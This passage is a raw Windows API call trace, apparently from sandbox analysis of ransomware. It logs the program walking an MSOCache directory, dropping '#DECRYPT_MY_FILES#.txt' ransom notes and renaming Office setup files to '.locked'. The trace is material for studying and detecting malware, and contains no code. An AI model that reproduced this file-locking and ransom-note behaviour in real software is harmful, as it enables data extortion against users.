CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 83 [0032.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x80ce8e, cchWideChar=90 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.locked") returned 90 [0032.007] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.locked"), dwFlags=0x2) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.009] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0032.009] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0032.009] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0032.009] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.009] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.009] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.009] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.009] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x828808 [0032.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0032.010] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.010] AreFileApisANSI () returned 1 [0032.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0032.010] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc0) returned 0x806668 [0032.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=96 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\#DECRYPT_MY_FILES#.txt") returned 96 [0032.010] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42c2f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0032.010] GetFileType (hFile=0xc8) returned 0x1 [0032.010] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.011] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb61187c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61187c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0032.012] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb61187c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61187c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0032.012] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb61187c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb61187c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61187c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.012] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.012] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.012] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.012] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.012] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.013] AreFileApisANSI () returned 1 [0032.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0032.013] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa6) returned 0x806668 [0032.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 83 [0032.013] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42c2f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0032.013] GetFileType (hFile=0xc4) returned 0x1 [0032.013] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.016] AreFileApisANSI () returned 1 [0032.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0032.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0032.016] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x15a) returned 0x80cde8 [0032.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 83 [0032.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x80ce8e, cchWideChar=90 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.locked") returned 90 [0032.016] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.locked"), dwFlags=0x2) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.020] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0032.020] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0032.020] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.020] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.020] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.020] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.021] AreFileApisANSI () returned 1 [0032.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0032.021] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9a) returned 0x806668 [0032.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=77 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 77 [0032.021] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0032.021] GetFileType (hFile=0xc8) returned 0x1 [0032.021] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.024] AreFileApisANSI () returned 1 [0032.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0032.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0032.024] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x142) returned 0x82b828 [0032.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x82b828, cchWideChar=77 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 77 [0032.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x82b8c2, cchWideChar=84 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.locked") returned 84 [0032.024] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.locked"), dwFlags=0x2) returned 1 [0032.024] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82b828 | out: hHeap=0x7f0000) returned 1 [0032.024] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.024] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.024] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.024] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.025] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.025] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x18, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.025] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.025] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.025] AreFileApisANSI () returned 1 [0032.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x94) returned 0x806668 [0032.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0032.025] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0032.026] GetFileType (hFile=0xc8) returned 0x1 [0032.026] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.033] AreFileApisANSI () returned 1 [0032.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.033] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x136) returned 0x819f70 [0032.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x819f70, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0032.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x81a004, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.locked") returned 81 [0032.033] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.034] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x18, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0032.034] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.034] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, 